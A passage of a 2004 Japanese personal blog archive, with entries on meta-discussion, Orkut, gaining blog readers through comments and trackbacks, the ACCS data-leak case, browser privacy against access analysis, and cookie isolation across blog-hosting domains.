もっといえば、人に指図しなければ傷つかれることは無いです。
人が勝手に自分に期待していて、その期待と異なったためがっかりされることはあるかもしれませんが。
他人のために生きているわけではありませんし。


ところで、私自身がそうでもあり、より問題だと思うのは、「自分のなにげない発言が他人の怒り/悲しみを買い、それによって自分が傷つくことへの恐れ」です^^;。この考え方によって萎縮して発言出来なくなるのは恐いです。上記の「人を傷つけたくない」というは建前であり、本質的にはこちらだ、ともいえます。

利他的行動も結局利己である。なぜなら「他」がどう感じるかはわからないのだから。
おいらが自業自得主義であることがこれを書いたことでいっそう明確になりました^^;。

私はこの状態に陥るのを避けるために、普遍的な事実以外については、断定形や特定他人を糾弾する言い方はなるべく避けます。あくまで「自分はこう思う、間違っているかもしれないけれど」というスタンスです。このスタンスで人が傷ついたり怒りだしたりするのは、おかしな話と思うからです。初めから相手が自分を糾弾しようと思っている場合は当てはまりません-_-。


そのうえでさらに、なるべく「ポジティブな考え」を表明するわけです。
心がけとしては損が少ない考え方である、と私は思っています:p。
この辺に書いたように、特に女性に接する際にはこれだけでは足りないんだろうなぁとも思っていますが^^;。


自分が納得できるより良い考え方を発見したら(教えてもらえたら)変えるでしょうけれど。:)

あぁ今日もまとめ下手-_- まだまだ精進が足りん…。

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meta な視点を持とう、ただ、それを議論する時は別の機会に

皆さんは「メタ」って言葉をご存じでしょうか?
私の場合は、meta-class といった用語で意義を覚えたクチですが(ってマニアックだな^^;)、最近はメタブログといった用語がどこででも見られるように、「メタ」流行り、かも知れません。まぁもっと昔からメタ議論とかよく言われてましたけど。
特に技術者の中ではよく使われます。

さて、普通の人の中にはメタ議論とか言われてもピンとこない人が結構いらっしゃるのではないかと思います。
これは要するに、「議論の仕方」を議論することです。meta という語は接頭辞として用いられ、「一段下層からみた」或いは「一歩上段に構えた」(?)のようなニュアンスの意味を付加します。あるテーマについて議論している際に、いつの間にか「この言い方は~」とか「主張の表現方法が~」といった話にすり変わっているようなケースで、「メタ議論がされている」などと言います。
メタブログといえば、blog は何かを表現するツールであるにもかかわらず、そこで blog 自身の使い方に関して語られるような事を言います。

他には、たい焼きを製造するという話題に対して、たい焼きの型(鉄のやつね)の製造に関して考える、というのもメタな視点です。技術屋用語としては、インスタンス→クラス→メタクラス→メタメタクラス…というようにメタ化して行くことができます。
「それを形成するために必要なもの」といったところでしょうか。

メタな視点は非常に重要で、論理的思考能力を向上するためには前提となる考え方だと思います。

例えば何かを議論している時に、その議論自体のテーマから離れて、議論の進み方がこれでいいのか?などと考えるのは、将来の効率を高めるために重要です。ただ、それをその議論中に話題に出してしまうと元のテーマが失われます^^;。私はその場で言わないとすぐに忘れちゃう人なので、とりあえず言っておきたくなる人なんですが-_-。

メタな論点は別途議論を行う場を設ける必要があるでしょう。

MLなどを見ていた人としては、「それは別スレッドで話してくれ」となるわけですね。

そんな感じで、突如メタな視点を表明することは議論を混乱させる元になりますが、メタな論点を別個に議論するのは大いにありです。ですから、メタブログ論もおおありなのです。通常の話題をされている所に割り込んでメタブログ論を展開するのはあまりよろしくありませんが。

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Orkut 信頼型コミュニティ?

グーグルもこっそり「出会い系」--Orkut.com開始の裏にポータル帝国への野望 - CNET Japan

おいらも誰か誘ってくれないかなー:p。

えっと、Orkut は現状は既存メンバーからの紹介でのみ入会できるようになっているそうで、ある意味誰かからの多少なりの信頼を得た人が入れるサービス、ということになります。
あまりに変な人は入り得ない(?)ということで、質の高いコミュニティになるかもしれないといった憶測が流れているようです。無理だろうけど。

コミュニティ内ではかなり安心しきって個人情報(といっても写真レベル)を出している方もいるそうです。

荒らすような行為をする人は入会の間口が狭そうに思えますし、最初は実際狭いでしょう。
けれど、一人でも間違ってそういう人を誘致しちゃうと、その人はありとあらゆる人脈を駆使して荒らし友達を連れてくるでしょうね。なぜなら魅力的だから。

まぁ、それがばれた時点で誘った人にもペナルティは課されるだろうけれど。

それはそうと、これ、知っているけどあまりよく思っていない知人から「私を是非招待してください」なんて言われたら困るんでないかなぁ:p。
友達に点数をつけるという機能があるくらいだから、毅然とした態度が望まれるんでしょうけどね^^;。
それでも、Orkut に入会したよ、ってのをおおっぴらに言っちゃうと面倒が起こるかもね~^^;;。

(追記)おっ、例の apache.org の方からお誘いが…覚えててくれたとは…^^/
ってか、ここ見てたりするのか?もしや^^;

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2004.02.05

コメントによる効果(「人」への興味)

[読者の増やし方、教えます]で、以下のように書いた通り、トラックバックなどとは異なる「コメント」の特殊な効果について述べてみます。
ここんとこメタブログ多くてすみません_o_。もうしばらくしたら落ち着きますんで^^;。

コメント経由よりサイト紹介のほうが読者になってもらいやすい、と考えるのは、「紹介に弱い」気質がある、と考えているからにほかならないな^^;。ところで「コメント経由」でやってきた人の心理については別記事を起こす価値があるかも。

ここでの考察は「コメント機能」についてではなく、他の人のページに付いたコメントに書かれた URL を辿って自ページにやってくる人についてです。こういった人は、100% コメントを書いた「人」に興味を持ったといえると思います。なぜならコメントでは、通常そのコメント自体に自分の主張/見解の全てを含めているため、人に興味を持たない限りは、その著者のページまで見にくるということにはならないためです。

次に、トラックバックを辿ってやってくる人は、その時点では「話題」「意見」にしか興味を持っていません(自分のことを知らない人の場合)。自分のページに来てからその「人」に興味を持つか否かが別れるわけです。

自分の意見が一通り見られた後で興味を持たれるかが決まる、というのはコメントでもトラックバックでも同じなんですが、トラックバックではタイトルと冒頭だけで、「まずその意見を見るかどうか」という判断がなされることになり、しかもその後ワンオペレーション(クリック)余計に必要になります。コメントでは何もしなくても主張全体が見れます。

つまり、上記リンク先で述べたように、他人のページへのコメントを経由してやって来た人は「読者化」の可能性が高い人、というわけです。

あまりこういうことは卑しい感じがして書きたくないですが、人気サイトに「コメント」すると、トラックバックより潜在読者を増やすことができる、と言えると思います。でも宣伝はほどほどに^^;。あくまで「よいコメントが書けたなら」ですから。

では、「他のサイトからの紹介」の場合はどうでしょう?

この場合は、「記事の紹介」なのか「サイトの紹介」なのかで読者の行動心理の位置付けが変わるわけです。
「サイトの紹介」はすなわち「人の紹介」に他なりません(…とも限らないか…でもいいや^^;)し、「記事の紹介」はあくまで「意見」の紹介です。もちろん紹介のされ方次第で「人の紹介」とほぼ等価になり得ますが。

これらとコメント/トラックバックの関係ですが、自分の判断で興味を持つか、他人の言葉により興味を持つか、という違いが(あくまで傾向として)あるのが興味深いですね。


ちなみに、
相手に何かを伝える手段とその重み付け
という記事でも、トラックバックとコメント、そして紹介リンクの重みを場合に応じて変動させています(適当ですが^^;)。
このことを意識しながら使い分けると、自分にとっても相手にとってもよい結果に結びつきやすくなると思います。

ま、深くは考えてないですのでツッコミあったら、是非~^^/。

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第三者によるトラックバック

はぁ…気になると書き留めておかないと気が済まなくなってるよ-_-。
仕事しないとなのにT_T。

トラックバックって第三者からも簡単にできちゃうのよね…。
送った URL の内容からして全然無関係だったりする場合、通常は何かの間違いだろうで済むんだろうけど、本人によるトラックバック SPAM ならまだしも、第三者が人を陥れようとしてその人のサイトをそこら中にトラックバック送信したら、結構な人が「変なやつ」「無節操なやつ」という烙印を押しそうで恐いよなぁ…と。もちろんあんまり目立つと第三者トラックバックであることはすぐばれるけど、その人を嫌って欲しい数人に狙い撃ちとかすると…。

まだそういう被害は出てないのかなぁ…。

(追記)
果たしてこれから話題になるのか?
関連記事にトラックバック。

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儀礼的無関心って「儀礼」なの?

議論への割り込みになるかなと思い、ウォッチャーとして(コメントではなく)日記のほうに書く:p。
でも、結局単なるウォッチャーであるのが嫌なので、トラックバックは一応しておいたり^^;。

元ネタはこちらです。
「ウォッチャー」の権利など守る必要はない。儀礼的無関心2 : ウェブログ@ことのは

もともとは C1、典型的には「微笑ましいな」などと思いながら見続けている人の立場を(も)尊重したい、というつもりで松谷さんは書かれたのだと思います。で、強調(煽り)を込めて「覗き見」と書かれたのが裏目にでた、という好意的解釈をしてみますが、実は本音が漏れた可能性も全く否定できません。
それはサイト管理人としても、意図する読者なんでしょう、きっと…おそらく^^;。

でもあまりにも赤裸々が過ぎて、当人がリスクを知らずにやっているような場合は、こっそり指摘してあげるのが親切ではないかと。となると、それをせずにこっそり見続ける人って、たとえ好意的な目で見ている C1 の人であっても、権利を守る必要はないような。

その場合、やはり当人に指摘なりもしないでおもむろにリンクしてしまう大規模サイトというのも、Web という媒体の性質からすれば責められる行為じゃないはずですが、少なくとも「優しくはない」とはいえそうです。

なので、もし「思いやり」を語るなら、そっとしておくよりも当人に教えてあげるほうが良いのではないかしらん。
で、こんなふうに見られてるけど、いいの?と言って、当人が「やだ」と言うなら、例えばこんな仕組み(を実現した上で^^;)を教えてあげるのがすべての人のことを考えた行動ではないかと思いますけどね~。
技術的に制限するのが当人に難しいなら、「書く内容について意識したほうがいいよ」でもいいので。

つまり、「儀礼的無関心」と名づけられていますが、無関心を装うことは儀礼ではないじゃないか、と。
あ、「儀礼的」だから、「似非儀礼」って意味なのかな?

でも、あらゆる人を「Web というものを分かってないかもしれないから」といってそれを尊重しようとしてたら、めんどくさくてやってられなくなるっしょ。それこそ公共の利益にならない。なので、リンクしちゃった、とかそれで人が溢れてサイトが閉じられちゃった、とか言ってリンクした人を責めるのはなんか違う、と思いまする。

あ…書いてるうちに論点がずれていった…-_-。

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2004.02.04

罪状の正当性、あるよねぇ一応…

あぁ…放置したい…でも書いてしまう-_-(それはやはり blog だからか…)。もう元記事を refer する必要もないだろうから、ソースとしてはここここをリンク。

「不正アクセス禁止法の疑い」
「業務威圧妨害の疑い」

「不正アクセスには当たらない」とか、「んじゃ自分の利用サイトの欠陥のテストしちゃダメなのね」といった論調が多いですが、これが他の勝手監査にどう影響するかといえば、よい方向に影響するのではないかと思うのです。

それが不正アクセスか?については互いの意図が重んじられるように思います。もちろん条文からすると「アクセス制御」が必須であり、今回の件は(認証による)アクセス制御をすり抜けたわけではないようにも思えますが、DocumentRoot 配下に該当ファイルを置いていたわけでもなく、そのファイルへのアクセスは本来シェルログインなどの「認証」を経ないと取得できないものだったんですよね?個人情報が隠さなくてよい情報と相手が考えるはずもなく、CGI に対する監査が甘かったとはいえ、隠そうという意図は当然あった、と。DocumentRoot 配下に置いたのではアクセス制御の意図すらないのでアクセスしても法律上は問題無いですが。

つまり、ACCS 側の「隠そうとしていた」「アクセスできないようにしようとしていた」という意図は明白。
そして、office さんの「隠されているものを盗もうとした」意図も明白。
その目的が指摘/啓蒙であると建前言ってみても、なぜそのファイルを選んだのか?を考えれば言い訳できないでしょう。
office さん自身がそのファイルに興味があったわけではないでしょうけれど。ここまで言えば目的は明らかだけど、書かない:p。

このケースであれば不正アクセス禁止法の適用もあり得ると思います。
逆に、明らかに自身のみを守る目的、というのは行動で現せるとも思うので、「欠陥のテストができない」ということにはならないと思います。出来なくなるのは「インパクトのある行動」なだけで。
そういう意味で、「勝手監査」に対するよい警鐘ではないでしょうか。

「業務威圧妨害の疑い」は、ACCS 側に猶予を与えていれば、停止を回避してもっとうまく対策できた可能性がある、という意味で、適用し得ますね。これも「勝手監査」へのよい警鐘になると思います。

つまり、いずれも全くの見当違いではない、と。

まぁ、私自身は「自身が個人情報を配布してしまった」ことがもっとも直接的で確実な罪状になるんじゃないかと思ってはいましたけどねぇ。

あと、そもそも ACCS は個人情報保護が出来るだけの体制にない欠陥を保有していたわけで、中には「そちらこそ罰するべき」という意見もありますが、「そちら罰するべき」ではありますが、別問題です。ユーザが集団訴訟を起こせば罰することができるんじゃないでしょうか。もちろん個人的には罰されてほしいですが、関連づけて「こっちが」と言う人が多いのは気になる。
ここにも書きましたが、これはこれとして大きく報道啓蒙されてほしいですね~。今回の問題が騒がれるほどに、こちらの問題が矮小化される懸念は解りますから、関連づけて騒ぐんじゃなくて、独立に欠陥サイトの問題について騒ぎましょうよ^^;。


(追記)
こないだ朝日新聞を止めたので:p、メディアの情報に一層疎いんですが--;、この話題、思っていた以上に大きく報道されているようですね。テレビのニュースでも何度も取り上げているそうで。
これは最悪。やっぱマスメディアってダメだわ-_-。
欠陥サイトについてもそれくらい騒いでみて欲しいものです。
個人は叩けてもでかい組織は叩けませんかねぇ?

(追記:2004/02/09)
[鯛、靴、箸: 次世代ジャーナリズム]

マスメディアの使命とは、正しい情報を正しく伝えることではないでしょうか?そのためには、高い取材能力と高い知性が不可欠です。よく言われることですが、「伝えないこと」もしばしば嘘になります。例えばパレスチナ問題では、イスラエルがパレスチナの市民を殺害したことはあまりニュースにならないのに、エルサレムでの爆弾テロはニュースになります(その結果、平和なのに突然パレスチナ人が爆弾テロを始めた、というような印象を読者に与えます)。情報収集能力が足りなくても、偏った情報しか集められないために、同じような結果になります。知性がなかったり中立でないマスメディアは危険です。

すばらすぃ。
今危険でないマスメディアってなぃ…-_-。
今回のネタにしても適切に事実を報じたメディアもあるようですが、そこが常に信頼できるかというと怪しいものですからねぇ。
適切に批判(というより事実)がメディア読者に伝わる仕組みが求められるような気がしますね。
Web のおかげでそこはずいぶん改善されたけれど。

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参照元表示を追加してみた

サイドバーに「philosophical を参照している記事」として、FeedBackの Sticky FeedBack を利用して"philosophical"というキーワードの検索結果を付加してみました。

これは「リンク元」に近い使い方が出来ますねぇ。すばらすぃ。
でも、今のところ、自分の記事から自分の記事を参照する時に"philosophical"というキーワードを使っちゃってたために、自分の記事が多数リストアップされてしまってます-_-。この記事も当然リスティングされるな^^;;。

今後は自分の記事の引用時は"philosophical" という文字列は含めないようにしよう。
他のサイトの方がうちの記事を参照される際に、"philosophical" というサイト名も含めて頂けますと、このページのサイドバーにリストアップされるようになります。:)
AutoAnchor などを利用すると自動的にサイト名も取り込んでくれるので便利ですよん。

ちなみに、FeedBack の素の検索結果は、以下です。
FeedBack: "philosophical" を含む最新エントリ
どうです?右のサイドバーのリストと同じですね~。


…でも、シンプルを心がけていたのにサイドバーがだいぶごちゃごちゃしてきたかも-_-。
「ここを参照している記事」はデフォルトで非表示でも別にいいなぁ…。
「人」に興味を持った後で見たくなる所だし。
「最近の記事」などは「人」に興味をもってもらうためのものだから隠さないけど。

ちなみにこうやって興味を持たれるよう努力してるふうな所をあからさまに書くと、閲覧者に引かれることもありますのでご注意^^;。
実例かよっ:p

(追記)
ここを参照している記事一覧は、プロフィールページに移動しました。
ぴっくあっぷさんよりヒントをいただきました。ありがとうございます^^;。おまけで今流行っている例の件の追いかけも追加したり^^;。

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読者の増やし方、教えます

実はここしばらくは、自分の書きたいことを崩さない程度にアクセスアップに関していくつかの実験をしていました。
この記事のベタなタイトルもその一環です^^;。

とはいえ、私はこんなこともしているようにアクセス数が見えることに固執しているわけでもなく、読者の思考過程への興味のほうが強いです。
なお、私は自己顕示欲は無いどころか"ありあり"です^^;。たくさんの人に読まれたいと思っておりますので、このサイトは是非リンク上等でよろしくお願いいたします:p。
リンクがんがんしてください~^^;。

あらかじめ書いておきますが、ここで述べるのは、ページビューを増やすのではなく、「読者を増やす」ことに関してです。ここでの「読者」は端的には「bookmark/アンテナ/RSS reader に subscribe してくれる人」です。変なことして一時的に増えてもしかたないですから。でも、変なことしてでもとにかく存在を知ってもらわないと始まらない、という論点も含めます。
で、その方法は「良いコンテンツを出す」に他ならないですが、それを言ってもしょうがないので^^;ここでは置いておきます。
つまり、コンテンツが良いのは前提として、その認知度が上がって認められる時にはどんなことが起っているか?です。

さて、私のページは今のところココログのページの中では読まれているほうでは無いように思いますが、自分だけでなく他で観測したことも交えて、オーナーの行動がアクセスに与える影響についての考察を記録として書き留めておきたいと思います。

なお、キャッチーであることやユーザビリティといった観点からの読者を惹き付ける手段については、自分の意見としては、
philosophical : 読者を引き寄せる方法
philosophical : さらに改造>ページ内見出し一覧
あたりに書いてます。見栄え/文章力についてはセンス0なので何も書けません^^;。今回はアクセス解析と観測に基づいて。
なので、当然どんなサイトにも当てはまるわけじゃありませんし、事実のみを述べているわけでもありません_o_。ここに挙げた以外の要因もまだまだあると思います。


blog(ココログ)へのアクセスの傾向

基本は検索からの流れ

とにかく検索サイトからいらっしゃる方が多いです。
私のサイトではあまり注目される検索ワードは含まれないほうなのですが、それでも全体の半数は越えるでしょう。こういうのに載るようなキーワードをテーマにしていらっしゃる方は全アクセスの 60%, 70% ということもあるかもしれません。

流行っているテレビ番組(今なら「白い巨塔」とか「プライド」ですか?)なんかについて述べるとかなりアクセスがあるようです。私も試しにやろうかなとか思ったけど、さすがにカラーが違い過ぎて出来ませんが^^;。
そもそもテレビなんてニュース以外では「行列の出来る法律相談所」くらいしか見てないし-_-。あでも最近は「エンタの神様」とか「爆テン」にちと興味が^^;。と、ここでキーワードを挙げてみるテスト:p。ごめんなさい~^^;。キーワードのみ載せるのは基本的に最悪の方法です:p。
というわけで、自分が興味ないのにやる必要はない、と考えていますが、読者を増やすのが何よりの目的であるなら、どうぞ^^;。

その他は、「流行語」「させていただく」みたいな、時事性のあるもの、トリビア的なものも興味を持たれます。
国語に関する記事とかは日常の話題にし易いので、引っかけられ易い傾向があるように思います。「句読点」の話題とか。

上記いずれの場合も、何らかの調査を伴った信頼性の高い記事のほうが、「読者」化の可能性が高いです。時事ネタの場合は逆に事実の報道よりも感情をともなう率直な感想が期待される可能性もありますが、「読者化」という観点では余り差は無いように思います。

また、この手の人の読者化に当たっては、興味を引くカテゴリ名と興味を引く記事タイトル一覧がすぐに見える必要があります。それをやっても大半の人は他の記事まで見ないで去っていきますが、やらないのと比べればかなり差が出るのではないかと思います。私は今はそこを一番重要視してます。所詮は日記とも思ってるので常に考えてるわけでもないけど^^;

ちなみに、検索で来る人はそもそもサイト内容を吟味して bookmark しようという気のある人が少ない、という話もありますが、そのページ一発で、「人」に興味を持たれるような構成/文章であれば、比率は少ないとはいえ十分にあり得ると私は思います。

ただ、検索から流れて来る人が多いのは、ココログだからこそ、とも言えます。もうしばらくしたらページランク調整がなされて流れてくる人が減っていくのかな、と。
ココログは(ランクの高い)nifty から激しくリンクされているので、他の blog よりランクが高いのではないかと思っていますがどうでしょう?

追記ですが、昨日は検索経由が50%を割りました。認知度が高まってくると検索経由の比率が下がっていくんですね。


ping server 侮れじ

BlogPeaple/MyBlogList その他にも ping すべきだ、と。
ココログ新着記事経由だけでもアクセス全体の 10%以上です。
ただしタイトルと本文冒頭、及び投稿時間帯にもよります。そのあたりはこちらとそのリンク先で述べられています。


話題性のある記事を出す

キャッチーなタイトルを伴って問題を提起するような記事を出すと、かなりアクセスがあります。
「メタブログ」と呼ばれる blog の使い方/blog ユーザに関する問題提起はあいかわらず興味を持たれています。この記事はもろですが^^;。そして一部の人には飽きられていますが。
ただ、自分の観測範囲では、例えば結構読まれている所からリンクされたとしても、そこ経由で流れてくる数は意外と少ないです。
多くて累計100程度(ここ一ヶ月ではありますが)。もちろん日々万単位のアクセスがあるようなところからリンクされたらもっと多くなるでしょうけれど、私は今のところそこまでは経験が無いです^^;。あ、もちろん今までにご紹介いただいた方には大感謝しております_o_。

他所からの紹介で見にきた人には、その「人」に興味をもつ人も多いので、他の記事を見たりして bookmark に到る可能性は高いです。その時、すぐに辿れる他の記事にもトラックバックされまくるようなものが混ざっていると、「この人はネタ元になる」ということで bookmark して貰えたりします^^;。これをツッコマビリティ能力者あるいは「煽ラー」とでも呼びましょうか:p。
「赤裸々シリーズ」も一部はこれに当たるかも知れません。
あまりにも赤裸々過ぎるとツッコマブルを通り越して、そっと見守ろう、になるかもしれません:p。ただもちろんそれも「読者」には違いないです。


文章以外の何かを公開する

ソフトウェアや音楽などを公開した場合、多くの人の興味は成果物だけにあるかもしれませんが、同じ道を目指す人などは高い確率で公開した「人」に興味を持ちます。もちろん文書と同じく、コンテンツのでき次第ではありますが^^;。ソフトウェア関連の場合、技術性よりも適用可能性(アイデア)の方が評価される傾向があります。


話題に便乗する

流行る話題に速効で乗ると、類似記事が他にあるにもかかわらず、結構読まれます。
トラックバック経由でも意外といらっしゃる方がいるということです。
ただ、紹介された場合ほどではありません。
また、類似商品が多いので、光る意見か情報が無いと「読者」化は難しいです。


人気サイトにコメントを付ける

話題の記事へのコメントでも、単なる感想ではなく新たな視点などで興味を引く内容を書くとか、人柄を感じさせる書き込みだと、「人」に興味をもって見にくる方がいらっしゃいます。アクセス数でいえばトラックバックの方が見にくる方が多いですが、「読者」になってくれる可能性はコメント経由のほうが高いと思います。もしかしたらそのサイトからの「特定記事の紹介」よりも高いのではないかと思います。「サイトの紹介」には劣るでしょうけれど。

コメント経由よりサイト紹介のほうが読者になってもらいやすい、と考えるのは、「紹介に弱い」気質がある、と考えているからにほかならないな^^;。ところで「コメント経由」でやってきた人の心理については別記事を起こす価値があるかも。


以前のサイトの読者を連れてくる

実はココログで当初からすごいアクセスがあるサイトのほとんどは、このパターンだったりします^^;。
このケースでは、もともとが読者だったのであっさり、です。
ちなみに私は自分のサイトが放置状態だったのであまり連れてくることはできませんでした^^;;。


ある程度認知度が上がると他愛もない記事でも公開直後にアクセスがある

これはなんだか不思議ですが、私の場合はそういうことがありました。
アンテナかな…とも思いましたが、検索経由が多く、それだけでも無いようなのです。
この理由はまだちょっとよくわかりません。
認知度に応じて検索結果でより上位に表示されるようになっている、ということはありますが…。
それは、記事公開の連動とは無関係だし…。勘違いの可能性もあり_o_。
時間単位で referrer 統計できるアクセス解析ツールなら解析しやすいんですが…-_-。

(追記)
どうやら RSS reader のような更新検出を用いている方が referrer なしでアクセスされている分が追加で集計されていたようです。ありがたいことでございまする。

他人の BlogPeaple などから流れて来る人はほとんどいない

BlogPeaple を貼っている本人からのものを除くと、他のルートと比較すればかなり少ないといえます。貼っている人への興味の度合いに影響される気はしますが。
ただし、「興味のある人が興味を持っている人」に興味をもってやってきているという意味で、やってきた人の「読者」化の可能性は多少高いと思われます。


とまぁ、とりあえずこんな感じで。
考察してみてより鮮明になったのは、bookmark してくれる「読者」は、やっぱり「人」を意識している、ということですね。
通常の Web サイトでも同じだったはずですが、blog/日記だと読者の興味が「記事」より「人」にいっそう向くように思います。なぜなら blog (サイト)に対する bookmark は資料的価値より将来への期待が込められているのですから。

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2004.02.03

アクセス解析されることに備えて

blog ネタは続くよどこまでも…-_-。
先の「アクセス解析は当たり前です」では、「嫌だと思うのは構わないけれどもされるのが当たり前と考えないと」という話しかしておらず、閲覧者がプライバシーを守りたい場合にどういうスタンスを取ればよいかについては何も述べていませんでした。

で、それについて自分流のやり方を走り書き。個々の設定方法までは書き切れないです_o_。
なお、対象サイトは blog に限定していません。

  • サードパーティ cookie は受けつけない設定にする
  • cookie は「受け付けるかどうかをダイアログで確認する」設定にする
    サイト単位で受容/拒否を記憶できるブラウザが楽
  • いかにも信用出来なさげなサイトに行く時は、「script の実行」を「ダイアログで確認する」にする
  • そのサイトにアクセスする時の接続元を意識する
    会社などからのアクセスについては当然見るか否かの判断に注意する
    ただし、これはサイトによるアクセス監視よりもプロキシサーバ(ファイアウォール)でのアクセス監視に備えて、とうい意味合いの方が多い

といったあたりでしょうか…。
相手サイトがアクセス解析をしていることが見えるか見えないかは全く無関係であることに注意。

次に、ちょっと視点が違うご感想も。
[(´Д`)ノ: ヲタクにとってのアクセス解析。]

(略)そういうサイトの管理人にとっては「アクセス解析」、結構神経尖らす問題かもしれません。
で、ヲタク的恐れは「オフィシャル(またはそれに準ずる)サイトに飛ばれた時」が第一です(個人的には)。

つまり、アクセス元と referrer を合わせて、「この人はここのサイトから来ているな」というのをサイト管理者に知られると嬉しくないケースのようです。

えーっと、私は自分の趣向が(マーケティング会社以外に)ばれることに関してはどうってことないんじゃないか?と思ったりしますが(ばれてまずいといわれる時に、そのリンク元に犯罪性があったりするケースが多いという印象も少々)、上記のような場合には、リンクをクリックしないでURLをコピーして、それをアドレスバーに貼り付けて移動すれば問題ないです。また、オタク系サイトの管理者さんとしては、リダイレクタ経由でリンクするということもされているのでは無いかなぁ。

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アクセス解析は当たり前です

ほんとは別の(今日はながーぃ記事を書いた)記事の余談として書いてたんですが、余談過ぎるので別記事に分離して先に公開^^;。
このページは外付けのアクセス解析を利用しています。アクセス解析と言えば、以前、
Tokyo Forum: 結局「アクセス解析」は・・・
ホコタテブログ: アクセス解析の意味
などに、設置する側への問題提起の意見があったのですが、今の Web をサービスしている HTTP サーバは間違いなくアクセスログを記録していまして、ココログのように外付けしないとオーナーにアクセス状況がわからない、というほうが珍しいんですね。
blog ホスティングサイトに限定すれば状況は変わるかもですが。

なので、同じ啓蒙するなら、「アクセス解析を付けるのってどうよ」ではなく、「アクセス解析されているのはあたり前なんだよ」という風に言ったほうが現状に即してるんだけど…と思っていましたが、みんな言ってたので言わなかったですけど、今さら言います^^;。

つまり、「アクセス解析を付けているサイトはやだ」と思う人のほうこそが妥当な啓蒙対象なわけですね。

ただ、私の付けている忍者TOOLSなどの外付けのアクセス解析は、JavaScript と cookie を使うのでうざいというのはそのとおりで、やっぱりココログ自体が対応して欲しい所です。
cookie は私も信用したサイトのものでないと食べません。CSS のためにも JavaScript を使わざるを得ないというイタイ状況なので、毒を食らわば皿まで状態ですが^^;。だったら MovableType 使えってなもんですが、ココログ始めたの自体が実験だったし、始めてみて、「人の多さ」という魅力が結構あることも解ったので、少々の使い辛さは別にいいかという気になってますけど^^;。
ただ、少なくとも「気持ち悪い」というのは「見える/見えない」の違いでしかなく、実際にはココログの外ではほとんどがアクセス内容が解析可能になっているものだ、というのは「敬遠する」という方には知っておいていただきたいです。

P.S.
この話題はココログ界隈では既に何週間も前のものなんですが、blog では一週間以上前の話題はなんかすごーく古い話題のように感じちゃってネタにするのを躊躇っちゃうよ^^;。そういう方、多いはず:p。
でも、書くけどさ。

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2004.02.02

やる気の無いやつを発見する機械

人の感情や能力を常時監視するシステム

どっちかっていうと興奮してる人に「おちつけ」とメッセージを送るほうらしいけど^^;。
やる気の無いのもわかるらすぃ:p。

興奮してる人に機械が「おちつけ」って言ったら余計怒りそう:p。

しかし、「能力を監視する」とは誇大だなぁ。
せいぜい「能力を発揮できない状態を検出する」だよなぁ。

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言戯: 作曲には限界が?

言戯: 作曲には限界が?

同感~。といいますか、ずっと思ってたことではありますし、同じように思っている人も多いでしょうね~^^;。
音楽に限らないけれど、世の中を見てると音楽業界がもっとも顕著だなぁ、と。

音の順列は無限といっていいけれど、その中でも聞こえのいい配列のみの集合、となるとだいぶ少なくなります。
でもそれでもまだまだ無数に存在するはずですが、日が経つにつれ、全く新しい配列を編み出すのは難しくなるわけで、これからもどんどん業界の煮詰まりを感じることが多くなりますね:p。

で、ふとこれって素数を見つける問題に近いなぁ、なんて感じたよ。
電子鍵で利用されるある種の公開キーアルゴリズムとかでは、数という巨大な空間から限られた素数を見つける必要があるんですが、整数という集合中の素数の数は、5%程度なのだそうです。

で、電子鍵を作る際にはほぼ他人と重複しない素数である必要があるんですが、5%程度しかない素数の集合から選ばれたものが他人と重複しないなんてあるのか?とかつい思っちゃう。
でも現在は 1024bit とかの数の空間から素数を探すので、その5%といっても素数の数は十進数で 300桁 以上の個数になりますから、全世界で無数の電子鍵を作ったとしても重複の可能性は無視してもいいくらいなんですけど。
で、

音の集合:数の集合
よい旋律の集合:素数の集合

みたいなイメージを持った、と。
音楽については「音の集合」が「数の集合」と比べて圧倒的に少ないので、「重複」或いは最悪「使い尽くす」という事も将来起こり得そうですね。
しかも、素数はコンピュータにより発見(判定)されますが、新たな旋律は人が産みだすわけですから、重複しない新しい、しかもよい旋律を見つけ出すのは大変。

いやぁ、これからの音楽業界はどうなるのでしょうねぇ。
「大変」を乗り越えて新たな旋律を産みだす人がどれくらいいるか?

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4目並べ

become | connect 4
私信。例のゲーム、あったよ:p。

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人間という「種」の生い立ちを考えて、また日常に戻ってくる

漫画繋がりでおいらがお薦めする本をもう一つ。

言わずと知れた寄生獣。もしかしたら自分の人生観を変えた本かもしれない。
今思うと人間について考えるようになったきっかけがこれだったかも、と思うし。

人間が変わる方法の一つとして、「自分の起源」「自分の生きている文化の起源」「人間の起源」「生物の起源」といった風に深いところまで考えてみる、というのがあると思う。そして、そこまで考えを及ばせてから、日常や今後の「自分」に考えを戻す。

それは一度やったらもういいかというと実はそうでもない、とも。

ある時点での人生観は、それまでの経験、とくにそれまでに出逢ってきた人、見てきた人に応じて既に変化している。ただ、それを今後のより良い変化に生かすためには、過去にしてきた行動と、「起源」について考え直すという行為が必要じゃないかなぁとふと思ったり。

もちろん毎回「生物の起源」とかまで遡って考える必要はなくて、もっと浅いところまででいいんだけど。

「バガボンド」読んだ時も「話を聞かない男、地図が読めない女」を読んだ時も同じようなことを考えたなぁ…そいえば。で、そのときどきで違った考え方だったなぁ…。
と、なぜか感傷的に終ってみる^^;。

今日はまとめる気力が無い-_-

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2004.02.01

元祖しゃちょう日記 : niftyのココログの不思議なドメイン。

古い記事にトラックバック:p。
元祖しゃちょう日記 : niftyのココログの不思議なドメイン。

なんで、ドメインをいちいち変えてるんでしょう?
パッと見た限りで、こんなドメインがありました。

http://trott.cocolog-nifty.com/
http://hugo-sb.way-nifty.com/hugo_sb/
http://okinawa-sanpin.tea-nifty.com/cfs/
http://os2.air-nifty.com/ecs/
http://kumaneko.moe-nifty.com/blog/
http://kugikemi.txt-nifty.com/tsugimoto/

cocolog-nifty.comはまぁしょうがないと思うのですが、
後のドメインはいったい、、、

ネタにマジレス…ってかネタじゃなくてほんとに不思議みたいなので思っていたことを書いてみます。
ドメインが複数個あるのは単にユーザ数が増えたときの名前の衝突を避ける為でしょうね。
また、上記のようにホスト名レベルでユーザが区別されていると、cookie の有効範囲をドメイン制約のみで安全に隔離できるという利点があります。
cookie の有効範囲指定としては PATH による指定も可能ですが、実は PATH による cookie 有効範囲指定はそのドメイン上で多岐のサービスを提供している場合は非常に脆弱です。

参考:クロスサイトスクリプティングとcookieの有効path

同一ドメイン上の他のサービスにクロスサイトスクリプティングと呼ばれる脆弱性があった場合、そのドメイン上の任意の cookie が盗まれ得ます。
ひろゆきさんが利用されている livedoor blog は、
http://blog.livedoor.jp/hirox1492/
のような URL になっています。
